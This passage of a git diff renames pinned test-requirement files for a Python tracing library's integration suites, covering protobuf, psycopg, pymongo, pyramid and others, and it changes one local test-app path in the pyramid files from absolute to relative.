.uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-exporter-otlp-latest-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/1721018.txt b/.uv/contrib-protobuf--protobuf-py310.txt similarity index 100% rename from .riot/requirements/1721018.txt rename to .uv/contrib-protobuf--protobuf-py310.txt diff --git a/.riot/requirements/26aada0.txt b/.uv/contrib-protobuf--protobuf-py311.txt similarity index 100% rename from .riot/requirements/26aada0.txt rename to .uv/contrib-protobuf--protobuf-py311.txt diff --git a/.riot/requirements/1bf9721.txt b/.uv/contrib-protobuf--protobuf-py312.txt similarity index 100% rename from .riot/requirements/1bf9721.txt rename to .uv/contrib-protobuf--protobuf-py312.txt diff --git a/.riot/requirements/4fe37f9.txt b/.uv/contrib-protobuf--protobuf-py313.txt similarity index 100% rename from .riot/requirements/4fe37f9.txt rename to .uv/contrib-protobuf--protobuf-py313.txt diff --git a/.riot/requirements/276b2c8.txt b/.uv/contrib-protobuf--protobuf-py314.txt similarity index 100% rename from .riot/requirements/276b2c8.txt rename to .uv/contrib-protobuf--protobuf-py314.txt diff --git a/.riot/requirements/3b28562.txt b/.uv/contrib-protobuf--protobuf-py39.txt similarity index 100% rename from .riot/requirements/3b28562.txt rename to .uv/contrib-protobuf--protobuf-py39.txt diff --git a/.riot/requirements/a4331a5.txt b/.uv/contrib-psycopg--psycopg-psycopg2-py310-psycopg2-binary-2-9-2-psycopg2-binary.txt similarity index 100% rename from .riot/requirements/a4331a5.txt rename to .uv/contrib-psycopg--psycopg-psycopg2-py310-psycopg2-binary-2-9-2-psycopg2-binary.txt diff --git a/.riot/requirements/a61304c.txt b/.uv/contrib-psycopg--psycopg-psycopg2-py310-psycopg2-binary-latest-psycopg2-binary.txt similarity index 100% rename from .riot/requirements/a61304c.txt rename to .uv/contrib-psycopg--psycopg-psycopg2-py310-psycopg2-binary-latest-psycopg2-binary.txt diff --git a/.riot/requirements/c32fba4.txt b/.uv/contrib-psycopg--psycopg-psycopg2-py311-psycopg2-binary-2-9-2-psycopg2-binary.txt similarity index 100% rename from .riot/requirements/c32fba4.txt rename to .uv/contrib-psycopg--psycopg-psycopg2-py311-psycopg2-binary-2-9-2-psycopg2-binary.txt diff --git a/.riot/requirements/1db0994.txt b/.uv/contrib-psycopg--psycopg-psycopg2-py311-psycopg2-binary-latest-psycopg2-binary.txt similarity index 100% rename from .riot/requirements/1db0994.txt rename to .uv/contrib-psycopg--psycopg-psycopg2-py311-psycopg2-binary-latest-psycopg2-binary.txt diff --git a/.riot/requirements/1588200.txt b/.uv/contrib-psycopg--psycopg-psycopg2-py312-psycopg2-binary-2-9-2-psycopg2-binary.txt similarity index 100% rename from .riot/requirements/1588200.txt rename to .uv/contrib-psycopg--psycopg-psycopg2-py312-psycopg2-binary-2-9-2-psycopg2-binary.txt diff --git a/.riot/requirements/37646c9.txt b/.uv/contrib-psycopg--psycopg-psycopg2-py312-psycopg2-binary-latest-psycopg2-binary.txt similarity index 100% rename from .riot/requirements/37646c9.txt rename to .uv/contrib-psycopg--psycopg-psycopg2-py312-psycopg2-binary-latest-psycopg2-binary.txt diff --git a/.riot/requirements/414b02d.txt b/.uv/contrib-psycopg--psycopg-psycopg2-py313-psycopg2-binary-2-9-2-psycopg2-binary.txt similarity index 100% rename from .riot/requirements/414b02d.txt rename to .uv/contrib-psycopg--psycopg-psycopg2-py313-psycopg2-binary-2-9-2-psycopg2-binary.txt diff --git a/.riot/requirements/1b5c1a9.txt b/.uv/contrib-psycopg--psycopg-psycopg2-py313-psycopg2-binary-latest-psycopg2-binary.txt similarity index 100% rename from .riot/requirements/1b5c1a9.txt rename to .uv/contrib-psycopg--psycopg-psycopg2-py313-psycopg2-binary-latest-psycopg2-binary.txt diff --git a/.riot/requirements/58c9c5d.txt b/.uv/contrib-psycopg--psycopg-psycopg2-py314-psycopg2-binary-2-9-2-psycopg2-binary.txt similarity index 100% rename from .riot/requirements/58c9c5d.txt rename to .uv/contrib-psycopg--psycopg-psycopg2-py314-psycopg2-binary-2-9-2-psycopg2-binary.txt diff --git a/.riot/requirements/468d0c4.txt b/.uv/contrib-psycopg--psycopg-psycopg2-py314-psycopg2-binary-latest-psycopg2-binary.txt similarity index 100% rename from .riot/requirements/468d0c4.txt rename to .uv/contrib-psycopg--psycopg-psycopg2-py314-psycopg2-binary-latest-psycopg2-binary.txt diff --git a/.riot/requirements/b0d5dee.txt b/.uv/contrib-psycopg--psycopg-psycopg2-py39-psycopg2-binary-2-9-2-psycopg2-binary.txt similarity index 100% rename from .riot/requirements/b0d5dee.txt rename to .uv/contrib-psycopg--psycopg-psycopg2-py39-psycopg2-binary-2-9-2-psycopg2-binary.txt diff --git a/.riot/requirements/1d07c9f.txt b/.uv/contrib-psycopg--psycopg-psycopg2-py39-psycopg2-binary-latest-psycopg2-binary.txt similarity index 100% rename from .riot/requirements/1d07c9f.txt rename to .uv/contrib-psycopg--psycopg-psycopg2-py39-psycopg2-binary-latest-psycopg2-binary.txt diff --git a/.riot/requirements/17d4731.txt b/.uv/contrib-psycopg--psycopg-py310-psycopg-latest-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/17d4731.txt rename to .uv/contrib-psycopg--psycopg-py310-psycopg-latest-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/1ae24f1.txt b/.uv/contrib-psycopg--psycopg-py311-psycopg-latest-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/1ae24f1.txt rename to .uv/contrib-psycopg--psycopg-py311-psycopg-latest-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/2be0986.txt b/.uv/contrib-psycopg--psycopg-py312-psycopg-latest-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/2be0986.txt rename to .uv/contrib-psycopg--psycopg-py312-psycopg-latest-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/bb7d091.txt b/.uv/contrib-psycopg--psycopg-py313-psycopg-latest-pytest-asyncio-gte-1-0.txt similarity index 100% rename from .riot/requirements/bb7d091.txt rename to .uv/contrib-psycopg--psycopg-py313-psycopg-latest-pytest-asyncio-gte-1-0.txt diff --git a/.riot/requirements/17d9faf.txt b/.uv/contrib-psycopg--psycopg-py314-psycopg-latest-pytest-asyncio-gte-1-0.txt similarity index 100% rename from .riot/requirements/17d9faf.txt rename to .uv/contrib-psycopg--psycopg-py314-psycopg-latest-pytest-asyncio-gte-1-0.txt diff --git a/.riot/requirements/11d5c8b.txt b/.uv/contrib-psycopg--psycopg-py39-psycopg-3-0-0-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/11d5c8b.txt rename to .uv/contrib-psycopg--psycopg-py39-psycopg-3-0-0-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/c54cef3.txt b/.uv/contrib-psycopg--psycopg-py39-psycopg-latest-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/c54cef3.txt rename to .uv/contrib-psycopg--psycopg-py39-psycopg-latest-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/a0b5e82.txt b/.uv/contrib-pylibmc--pylibmc-py310-pylibmc-1-6-2-pylibmc.txt similarity index 100% rename from .riot/requirements/a0b5e82.txt rename to .uv/contrib-pylibmc--pylibmc-py310-pylibmc-1-6-2-pylibmc.txt diff --git a/.riot/requirements/14e5fc5.txt b/.uv/contrib-pylibmc--pylibmc-py310-pylibmc-latest-pylibmc.txt similarity index 100% rename from .riot/requirements/14e5fc5.txt rename to .uv/contrib-pylibmc--pylibmc-py310-pylibmc-latest-pylibmc.txt diff --git a/.riot/requirements/34f3f75.txt b/.uv/contrib-pylibmc--pylibmc-py311-pylibmc-latest.txt similarity index 100% rename from .riot/requirements/34f3f75.txt rename to .uv/contrib-pylibmc--pylibmc-py311-pylibmc-latest.txt diff --git a/.riot/requirements/dcfed5e.txt b/.uv/contrib-pylibmc--pylibmc-py312-pylibmc-latest.txt similarity index 100% rename from .riot/requirements/dcfed5e.txt rename to .uv/contrib-pylibmc--pylibmc-py312-pylibmc-latest.txt diff --git a/.riot/requirements/1c22cf9.txt b/.uv/contrib-pylibmc--pylibmc-py313-pylibmc-latest.txt similarity index 100% rename from .riot/requirements/1c22cf9.txt rename to .uv/contrib-pylibmc--pylibmc-py313-pylibmc-latest.txt diff --git a/.riot/requirements/d68083c.txt b/.uv/contrib-pylibmc--pylibmc-py314-pylibmc-latest.txt similarity index 100% rename from .riot/requirements/d68083c.txt rename to .uv/contrib-pylibmc--pylibmc-py314-pylibmc-latest.txt diff --git a/.riot/requirements/2f6439d.txt b/.uv/contrib-pylibmc--pylibmc-py39-pylibmc-1-6-2-pylibmc.txt similarity index 100% rename from .riot/requirements/2f6439d.txt rename to .uv/contrib-pylibmc--pylibmc-py39-pylibmc-1-6-2-pylibmc.txt diff --git a/.riot/requirements/2f0fd21.txt b/.uv/contrib-pylibmc--pylibmc-py39-pylibmc-latest-pylibmc.txt similarity index 100% rename from .riot/requirements/2f0fd21.txt rename to .uv/contrib-pylibmc--pylibmc-py39-pylibmc-latest-pylibmc.txt diff --git a/.riot/requirements/16969ec.txt b/.uv/contrib-pymemcache--pymemcache-py310-pymemcache-3-4-2.txt similarity index 100% rename from .riot/requirements/16969ec.txt rename to .uv/contrib-pymemcache--pymemcache-py310-pymemcache-3-4-2.txt diff --git a/.riot/requirements/d308d1f.txt b/.uv/contrib-pymemcache--pymemcache-py310-pymemcache-3-5.txt similarity index 100% rename from .riot/requirements/d308d1f.txt rename to .uv/contrib-pymemcache--pymemcache-py310-pymemcache-3-5.txt diff --git a/.riot/requirements/19f8b6e.txt b/.uv/contrib-pymemcache--pymemcache-py310-pymemcache-latest.txt similarity index 100% rename from .riot/requirements/19f8b6e.txt rename to .uv/contrib-pymemcache--pymemcache-py310-pymemcache-latest.txt diff --git a/.riot/requirements/130a7d6.txt b/.uv/contrib-pymemcache--pymemcache-py311-pymemcache-3-4-2.txt similarity index 100% rename from .riot/requirements/130a7d6.txt rename to .uv/contrib-pymemcache--pymemcache-py311-pymemcache-3-4-2.txt diff --git a/.riot/requirements/dab7cce.txt b/.uv/contrib-pymemcache--pymemcache-py311-pymemcache-3-5.txt similarity index 100% rename from .riot/requirements/dab7cce.txt rename to .uv/contrib-pymemcache--pymemcache-py311-pymemcache-3-5.txt diff --git a/.riot/requirements/1581ea5.txt b/.uv/contrib-pymemcache--pymemcache-py311-pymemcache-latest.txt similarity index 100% rename from .riot/requirements/1581ea5.txt rename to .uv/contrib-pymemcache--pymemcache-py311-pymemcache-latest.txt diff --git a/.riot/requirements/1602479.txt b/.uv/contrib-pymemcache--pymemcache-py312-pymemcache-3-4-2.txt similarity index 100% rename from .riot/requirements/1602479.txt rename to .uv/contrib-pymemcache--pymemcache-py312-pymemcache-3-4-2.txt diff --git a/.riot/requirements/1dadf2b.txt b/.uv/contrib-pymemcache--pymemcache-py312-pymemcache-3-5.txt similarity index 100% rename from .riot/requirements/1dadf2b.txt rename to .uv/contrib-pymemcache--pymemcache-py312-pymemcache-3-5.txt diff --git a/.riot/requirements/18ca8de.txt b/.uv/contrib-pymemcache--pymemcache-py312-pymemcache-latest.txt similarity index 100% rename from .riot/requirements/18ca8de.txt rename to .uv/contrib-pymemcache--pymemcache-py312-pymemcache-latest.txt diff --git a/.riot/requirements/1cb554e.txt b/.uv/contrib-pymemcache--pymemcache-py313-pymemcache-3-4-2.txt similarity index 100% rename from .riot/requirements/1cb554e.txt rename to .uv/contrib-pymemcache--pymemcache-py313-pymemcache-3-4-2.txt diff --git a/.riot/requirements/a0cc2a4.txt b/.uv/contrib-pymemcache--pymemcache-py313-pymemcache-3-5.txt similarity index 100% rename from .riot/requirements/a0cc2a4.txt rename to .uv/contrib-pymemcache--pymemcache-py313-pymemcache-3-5.txt diff --git a/.riot/requirements/1e659c4.txt b/.uv/contrib-pymemcache--pymemcache-py313-pymemcache-latest.txt similarity index 100% rename from .riot/requirements/1e659c4.txt rename to .uv/contrib-pymemcache--pymemcache-py313-pymemcache-latest.txt diff --git a/.riot/requirements/93524be.txt b/.uv/contrib-pymemcache--pymemcache-py314-pymemcache-3-4-2.txt similarity index 100% rename from .riot/requirements/93524be.txt rename to .uv/contrib-pymemcache--pymemcache-py314-pymemcache-3-4-2.txt diff --git a/.riot/requirements/f269fac.txt b/.uv/contrib-pymemcache--pymemcache-py314-pymemcache-3-5.txt similarity index 100% rename from .riot/requirements/f269fac.txt rename to .uv/contrib-pymemcache--pymemcache-py314-pymemcache-3-5.txt diff --git a/.riot/requirements/4fb06db.txt b/.uv/contrib-pymemcache--pymemcache-py314-pymemcache-latest.txt similarity index 100% rename from .riot/requirements/4fb06db.txt rename to .uv/contrib-pymemcache--pymemcache-py314-pymemcache-latest.txt diff --git a/.riot/requirements/dd346e6.txt b/.uv/contrib-pymemcache--pymemcache-py39-pymemcache-3-4-2.txt similarity index 100% rename from .riot/requirements/dd346e6.txt rename to .uv/contrib-pymemcache--pymemcache-py39-pymemcache-3-4-2.txt diff --git a/.riot/requirements/b90472a.txt b/.uv/contrib-pymemcache--pymemcache-py39-pymemcache-3-5.txt similarity index 100% rename from .riot/requirements/b90472a.txt rename to .uv/contrib-pymemcache--pymemcache-py39-pymemcache-3-5.txt diff --git a/.riot/requirements/f2d92e1.txt b/.uv/contrib-pymemcache--pymemcache-py39-pymemcache-latest.txt similarity index 100% rename from .riot/requirements/f2d92e1.txt rename to .uv/contrib-pymemcache--pymemcache-py39-pymemcache-latest.txt diff --git a/.riot/requirements/b1f6b59.txt b/.uv/contrib-pymongo--pymongo-py310-pymongo-3-12-3-pymongo-2.txt similarity index 100% rename from .riot/requirements/b1f6b59.txt rename to .uv/contrib-pymongo--pymongo-py310-pymongo-3-12-3-pymongo-2.txt diff --git a/.riot/requirements/5a48bdf.txt b/.uv/contrib-pymongo--pymongo-py310-pymongo-4-0-pymongo-2.txt similarity index 100% rename from .riot/requirements/5a48bdf.txt rename to .uv/contrib-pymongo--pymongo-py310-pymongo-4-0-pymongo-2.txt diff --git a/.riot/requirements/1eb9abd.txt b/.uv/contrib-pymongo--pymongo-py310-pymongo-latest-pymongo-2.txt similarity index 100% rename from .riot/requirements/1eb9abd.txt rename to .uv/contrib-pymongo--pymongo-py310-pymongo-latest-pymongo-2.txt diff --git a/.riot/requirements/13fe884.txt b/.uv/contrib-pymongo--pymongo-py311-pymongo-3-12-3-pymongo-2.txt similarity index 100% rename from .riot/requirements/13fe884.txt rename to .uv/contrib-pymongo--pymongo-py311-pymongo-3-12-3-pymongo-2.txt diff --git a/.riot/requirements/a98b986.txt b/.uv/contrib-pymongo--pymongo-py311-pymongo-4-0-pymongo-2.txt similarity index 100% rename from .riot/requirements/a98b986.txt rename to .uv/contrib-pymongo--pymongo-py311-pymongo-4-0-pymongo-2.txt diff --git a/.riot/requirements/8f46789.txt b/.uv/contrib-pymongo--pymongo-py311-pymongo-latest-pymongo-2.txt similarity index 100% rename from .riot/requirements/8f46789.txt rename to .uv/contrib-pymongo--pymongo-py311-pymongo-latest-pymongo-2.txt diff --git a/.riot/requirements/1e60db0.txt b/.uv/contrib-pymongo--pymongo-py312-pymongo-3-12-3-pymongo-2.txt similarity index 100% rename from .riot/requirements/1e60db0.txt rename to .uv/contrib-pymongo--pymongo-py312-pymongo-3-12-3-pymongo-2.txt diff --git a/.riot/requirements/a0454b7.txt b/.uv/contrib-pymongo--pymongo-py312-pymongo-4-0-pymongo-2.txt similarity index 100% rename from .riot/requirements/a0454b7.txt rename to .uv/contrib-pymongo--pymongo-py312-pymongo-4-0-pymongo-2.txt diff --git a/.riot/requirements/de7d3ce.txt b/.uv/contrib-pymongo--pymongo-py312-pymongo-latest-pymongo-2.txt similarity index 100% rename from .riot/requirements/de7d3ce.txt rename to .uv/contrib-pymongo--pymongo-py312-pymongo-latest-pymongo-2.txt diff --git a/.riot/requirements/14f1594.txt b/.uv/contrib-pymongo--pymongo-py313-pymongo-3-12-3-pymongo-2.txt similarity index 100% rename from .riot/requirements/14f1594.txt rename to .uv/contrib-pymongo--pymongo-py313-pymongo-3-12-3-pymongo-2.txt diff --git a/.riot/requirements/d7dfbc2.txt b/.uv/contrib-pymongo--pymongo-py313-pymongo-4-0-pymongo-2.txt similarity index 100% rename from .riot/requirements/d7dfbc2.txt rename to .uv/contrib-pymongo--pymongo-py313-pymongo-4-0-pymongo-2.txt diff --git a/.riot/requirements/19bbf6d.txt b/.uv/contrib-pymongo--pymongo-py313-pymongo-latest-pymongo-2.txt similarity index 100% rename from .riot/requirements/19bbf6d.txt rename to .uv/contrib-pymongo--pymongo-py313-pymongo-latest-pymongo-2.txt diff --git a/.riot/requirements/e2d2cc8.txt b/.uv/contrib-pymongo--pymongo-py314-pymongo-3-12-3-pymongo-2.txt similarity index 100% rename from .riot/requirements/e2d2cc8.txt rename to .uv/contrib-pymongo--pymongo-py314-pymongo-3-12-3-pymongo-2.txt diff --git a/.riot/requirements/622c7eb.txt b/.uv/contrib-pymongo--pymongo-py314-pymongo-4-0-pymongo-2.txt similarity index 100% rename from .riot/requirements/622c7eb.txt rename to .uv/contrib-pymongo--pymongo-py314-pymongo-4-0-pymongo-2.txt diff --git a/.riot/requirements/7b6bce5.txt b/.uv/contrib-pymongo--pymongo-py314-pymongo-latest-pymongo-2.txt similarity index 100% rename from .riot/requirements/7b6bce5.txt rename to .uv/contrib-pymongo--pymongo-py314-pymongo-latest-pymongo-2.txt diff --git a/.riot/requirements/d0fc014.txt b/.uv/contrib-pymongo--pymongo-py39-pymongo-3-11-pymongo.txt similarity index 100% rename from .riot/requirements/d0fc014.txt rename to .uv/contrib-pymongo--pymongo-py39-pymongo-3-11-pymongo.txt diff --git a/.riot/requirements/1fd0884.txt b/.uv/contrib-pymongo--pymongo-py39-pymongo-3-8-0-pymongo.txt similarity index 100% rename from .riot/requirements/1fd0884.txt rename to .uv/contrib-pymongo--pymongo-py39-pymongo-3-8-0-pymongo.txt diff --git a/.riot/requirements/12616cb.txt b/.uv/contrib-pymongo--pymongo-py39-pymongo-3-9-0-pymongo.txt similarity index 100% rename from .riot/requirements/12616cb.txt rename to .uv/contrib-pymongo--pymongo-py39-pymongo-3-9-0-pymongo.txt diff --git a/.riot/requirements/1dbb110.txt b/.uv/contrib-pymongo--pymongo-py39-pymongo-4-0-pymongo.txt similarity index 100% rename from .riot/requirements/1dbb110.txt rename to .uv/contrib-pymongo--pymongo-py39-pymongo-4-0-pymongo.txt diff --git a/.riot/requirements/6cb445e.txt b/.uv/contrib-pymongo--pymongo-py39-pymongo-latest-pymongo.txt similarity index 100% rename from .riot/requirements/6cb445e.txt rename to .uv/contrib-pymongo--pymongo-py39-pymongo-latest-pymongo.txt diff --git a/.riot/requirements/9aea1c4.txt b/.uv/contrib-pymysql--pymysql-py310-pymysql-1-0-pymysql.txt similarity index 100% rename from .riot/requirements/9aea1c4.txt rename to .uv/contrib-pymysql--pymysql-py310-pymysql-1-0-pymysql.txt diff --git a/.riot/requirements/f32655d.txt b/.uv/contrib-pymysql--pymysql-py310-pymysql-latest-pymysql.txt similarity index 100% rename from .riot/requirements/f32655d.txt rename to .uv/contrib-pymysql--pymysql-py310-pymysql-latest-pymysql.txt diff --git a/.riot/requirements/e126ba4.txt b/.uv/contrib-pymysql--pymysql-py311-pymysql-1-0-pymysql.txt similarity index 100% rename from .riot/requirements/e126ba4.txt rename to .uv/contrib-pymysql--pymysql-py311-pymysql-1-0-pymysql.txt diff --git a/.riot/requirements/7f84968.txt b/.uv/contrib-pymysql--pymysql-py311-pymysql-latest-pymysql.txt similarity index 100% rename from .riot/requirements/7f84968.txt rename to .uv/contrib-pymysql--pymysql-py311-pymysql-latest-pymysql.txt diff --git a/.riot/requirements/1a2ae3e.txt b/.uv/contrib-pymysql--pymysql-py312-pymysql-1-0-pymysql.txt similarity index 100% rename from .riot/requirements/1a2ae3e.txt rename to .uv/contrib-pymysql--pymysql-py312-pymysql-1-0-pymysql.txt diff --git a/.riot/requirements/f9d7735.txt b/.uv/contrib-pymysql--pymysql-py312-pymysql-latest-pymysql.txt similarity index 100% rename from .riot/requirements/f9d7735.txt rename to .uv/contrib-pymysql--pymysql-py312-pymysql-latest-pymysql.txt diff --git a/.riot/requirements/14c34e9.txt b/.uv/contrib-pymysql--pymysql-py313-pymysql-latest.txt similarity index 100% rename from .riot/requirements/14c34e9.txt rename to .uv/contrib-pymysql--pymysql-py313-pymysql-latest.txt diff --git a/.riot/requirements/1f823cc.txt b/.uv/contrib-pymysql--pymysql-py314-pymysql-latest.txt similarity index 100% rename from .riot/requirements/1f823cc.txt rename to .uv/contrib-pymysql--pymysql-py314-pymysql-latest.txt diff --git a/.riot/requirements/a5eb94b.txt b/.uv/contrib-pymysql--pymysql-py39-pymysql-0-10.txt similarity index 100% rename from .riot/requirements/a5eb94b.txt rename to .uv/contrib-pymysql--pymysql-py39-pymysql-0-10.txt diff --git a/.riot/requirements/1cefe54.txt b/.uv/contrib-pymysql--pymysql-py39-pymysql-1-0-pymysql.txt similarity index 100% rename from .riot/requirements/1cefe54.txt rename to .uv/contrib-pymysql--pymysql-py39-pymysql-1-0-pymysql.txt diff --git a/.riot/requirements/d3c9ec8.txt b/.uv/contrib-pymysql--pymysql-py39-pymysql-latest-pymysql.txt similarity index 100% rename from .riot/requirements/d3c9ec8.txt rename to .uv/contrib-pymysql--pymysql-py39-pymysql-latest-pymysql.txt diff --git a/.riot/requirements/1b9f856.txt b/.uv/contrib-pynamodb--pynamodb-py310-pynamodb-5-3.txt similarity index 100% rename from .riot/requirements/1b9f856.txt rename to .uv/contrib-pynamodb--pynamodb-py310-pynamodb-5-3.txt diff --git a/.riot/requirements/b12a18a.txt b/.uv/contrib-pynamodb--pynamodb-py310-pynamodb-5.txt similarity index 100% rename from .riot/requirements/b12a18a.txt rename to .uv/contrib-pynamodb--pynamodb-py310-pynamodb-5.txt diff --git a/.riot/requirements/440e361.txt b/.uv/contrib-pynamodb--pynamodb-py311-pynamodb-5-3.txt similarity index 100% rename from .riot/requirements/440e361.txt rename to .uv/contrib-pynamodb--pynamodb-py311-pynamodb-5-3.txt diff --git a/.riot/requirements/1ecd9c2.txt b/.uv/contrib-pynamodb--pynamodb-py311-pynamodb-5.txt similarity index 100% rename from .riot/requirements/1ecd9c2.txt rename to .uv/contrib-pynamodb--pynamodb-py311-pynamodb-5.txt diff --git a/.riot/requirements/fdaebf2.txt b/.uv/contrib-pynamodb--pynamodb-py39-pynamodb-5-3.txt similarity index 100% rename from .riot/requirements/fdaebf2.txt rename to .uv/contrib-pynamodb--pynamodb-py39-pynamodb-5-3.txt diff --git a/.riot/requirements/f05659a.txt b/.uv/contrib-pynamodb--pynamodb-py39-pynamodb-5.txt similarity index 100% rename from .riot/requirements/f05659a.txt rename to .uv/contrib-pynamodb--pynamodb-py39-pynamodb-5.txt diff --git a/.riot/requirements/1af9cfa.txt b/.uv/contrib-pyodbc--pyodbc-py310-pyodbc-4-0-34-pyodbc.txt similarity index 100% rename from .riot/requirements/1af9cfa.txt rename to .uv/contrib-pyodbc--pyodbc-py310-pyodbc-4-0-34-pyodbc.txt diff --git a/.riot/requirements/17879d0.txt b/.uv/contrib-pyodbc--pyodbc-py310-pyodbc-latest-pyodbc.txt similarity index 100% rename from .riot/requirements/17879d0.txt rename to .uv/contrib-pyodbc--pyodbc-py310-pyodbc-latest-pyodbc.txt diff --git a/.riot/requirements/ed78a8f.txt b/.uv/contrib-pyodbc--pyodbc-py311-pyodbc-latest.txt similarity index 100% rename from .riot/requirements/ed78a8f.txt rename to .uv/contrib-pyodbc--pyodbc-py311-pyodbc-latest.txt diff --git a/.riot/requirements/1ef773e.txt b/.uv/contrib-pyodbc--pyodbc-py312-pyodbc-latest.txt similarity index 100% rename from .riot/requirements/1ef773e.txt rename to .uv/contrib-pyodbc--pyodbc-py312-pyodbc-latest.txt diff --git a/.riot/requirements/eeaed0d.txt b/.uv/contrib-pyodbc--pyodbc-py313-pyodbc-latest.txt similarity index 100% rename from .riot/requirements/eeaed0d.txt rename to .uv/contrib-pyodbc--pyodbc-py313-pyodbc-latest.txt diff --git a/.riot/requirements/1d9a544.txt b/.uv/contrib-pyodbc--pyodbc-py314-pyodbc-latest.txt similarity index 100% rename from .riot/requirements/1d9a544.txt rename to .uv/contrib-pyodbc--pyodbc-py314-pyodbc-latest.txt diff --git a/.riot/requirements/188a403.txt b/.uv/contrib-pyodbc--pyodbc-py39-pyodbc-4-0-34-pyodbc.txt similarity index 100% rename from .riot/requirements/188a403.txt rename to .uv/contrib-pyodbc--pyodbc-py39-pyodbc-4-0-34-pyodbc.txt diff --git a/.riot/requirements/9a81f68.txt b/.uv/contrib-pyodbc--pyodbc-py39-pyodbc-latest-pyodbc.txt similarity index 100% rename from .riot/requirements/9a81f68.txt rename to .uv/contrib-pyodbc--pyodbc-py39-pyodbc-latest-pyodbc.txt diff --git a/.riot/requirements/95aa957.txt b/.uv/contrib-pyramid--pyramid-py310-pyramid-latest.txt similarity index 91% rename from .riot/requirements/95aa957.txt rename to .uv/contrib-pyramid--pyramid-py310-pyramid-latest.txt index a09463c637b..f8fced5ce6b 100644 --- a/.riot/requirements/95aa957.txt +++ b/.uv/contrib-pyramid--pyramid-py310-pyramid-latest.txt @@ -21,7 +21,7 @@ pastedeploy==3.1.0 plaster==1.1.2 plaster-pastedeploy==1.0.1 pluggy==1.5.0 -pserve-test-app @ file:///home/bits/project/tests/contrib/pyramid/pserve_app +pserve-test-app @ ./tests/contrib/pyramid/pserve_app pyramid==2.0.2 pytest==8.3.1 pytest-cov==5.0.0 diff --git a/.riot/requirements/d7f052d.txt b/.uv/contrib-pyramid--pyramid-py311-pyramid-latest.txt similarity index 91% rename from .riot/requirements/d7f052d.txt rename to .uv/contrib-pyramid--pyramid-py311-pyramid-latest.txt index 7a83cbc0a42..dab5ed2968b 100644 --- a/.riot/requirements/d7f052d.txt +++ b/.uv/contrib-pyramid--pyramid-py311-pyramid-latest.txt @@ -20,7 +20,7 @@ pastedeploy==3.1.0 plaster==1.1.2 plaster-pastedeploy==1.0.1 pluggy==1.5.0 -pserve-test-app @ file:///home/bits/project/tests/contrib/pyramid/pserve_app +pserve-test-app @ ./tests/contrib/pyramid/pserve_app pyramid==2.0.2 pytest==8.3.1 pytest-cov==5.0.0 diff --git a/.riot/requirements/b56d9af.txt b/.uv/contrib-pyramid--pyramid-py312-pyramid-latest.txt similarity index 91% rename from .riot/requirements/b56d9af.txt rename to .uv/contrib-pyramid--pyramid-py312-pyramid-latest.txt index d0e6b02eb72..f3e5c71956a 100644 --- a/.riot/requirements/b56d9af.txt +++ b/.uv/contrib-pyramid--pyramid-py312-pyramid-latest.txt @@ -20,7 +20,7 @@ pastedeploy==3.1.0 plaster==1.1.2 plaster-pastedeploy==1.0.1 pluggy==1.5.0 -pserve-test-app @ file:///home/bits/project/tests/contrib/pyramid/pserve_app +pserve-test-app @ ./tests/contrib/pyramid/pserve_app pyramid==2.0.2 pytest==8.3.1 pytest-cov==5.0.0 diff --git a/.riot/requirements/169ce58.txt b/.uv/contrib-pyramid--pyramid-py313-pyramid-latest-legacy-cgi-latest.txt similarity index 92% rename from .riot/requirements/169ce58.txt rename to .uv/contrib-pyramid--pyramid-py313-pyramid-latest-legacy-cgi-latest.txt index dea4faae8ac..8bb94f1b178 100644 --- a/.riot/requirements/169ce58.txt +++ b/.uv/contrib-pyramid--pyramid-py313-pyramid-latest-legacy-cgi-latest.txt @@ -21,7 +21,7 @@ pastedeploy==3.1.0 plaster==1.1.2 plaster-pastedeploy==1.0.1 pluggy==1.6.0 -pserve-test-app @ file:///home/bits/project/tests/contrib/pyramid/pserve_app +pserve-test-app @ ./tests/contrib/pyramid/pserve_app pygments==2.19.2 pyramid==2.0.2 pytest==8.4.2 diff --git a/.riot/requirements/936e77e.txt b/.uv/contrib-pyramid--pyramid-py314-pyramid-latest-legacy-cgi-latest.txt similarity index 92% rename from .riot/requirements/936e77e.txt rename to .uv/contrib-pyramid--pyramid-py314-pyramid-latest-legacy-cgi-latest.txt index 4107dce2a1c..e9330fb2eb1 100644 --- a/.riot/requirements/936e77e.txt +++ b/.uv/contrib-pyramid--pyramid-py314-pyramid-latest-legacy-cgi-latest.txt @@ -21,7 +21,7 @@ pastedeploy==3.1.0 plaster==1.1.2 plaster-pastedeploy==1.0.1 pluggy==1.6.0 -pserve-test-app @ file:///home/bits/project/tests/contrib/pyramid/pserve_app +pserve-test-app @ ./tests/contrib/pyramid/pserve_app pygments==2.19.2 pyramid==2.0.2 pytest==8.4.2 diff --git a/.riot/requirements/26b7f73.txt b/.uv/contrib-pyramid--pyramid-py39-pyramid-1-10-pyramid.txt similarity index 92% rename from .riot/requirements/26b7f73.txt rename to .uv/contrib-pyramid--pyramid-py39-pyramid-1-10-pyramid.txt index df52550e099..1e8a5838447 100644 --- a/.riot/requirements/26b7f73.txt +++ b/.uv/contrib-pyramid--pyramid-py39-pyramid-1-10-pyramid.txt @@ -22,7 +22,7 @@ pastedeploy==3.1.0 plaster==1.1.2 plaster-pastedeploy==1.0.1 pluggy==1.5.0 -pserve-test-app @ file:///home/bits/project/tests/contrib/pyramid/pserve_app +pserve-test-app @ ./tests/contrib/pyramid/pserve_app pyramid==1.10.8 pytest==8.3.1 pytest-cov==5.0.0 diff --git a/.riot/requirements/1336cbd.txt b/.uv/contrib-pyramid--pyramid-py39-pyramid-2-0-pyramid.txt similarity index 92% rename from .riot/requirements/1336cbd.txt rename to .uv/contrib-pyramid--pyramid-py39-pyramid-2-0-pyramid.txt index 43b7992cdd6..f4cc5d7e14a 100644 --- a/.riot/requirements/1336cbd.txt +++ b/.uv/contrib-pyramid--pyramid-py39-pyramid-2-0-pyramid.txt 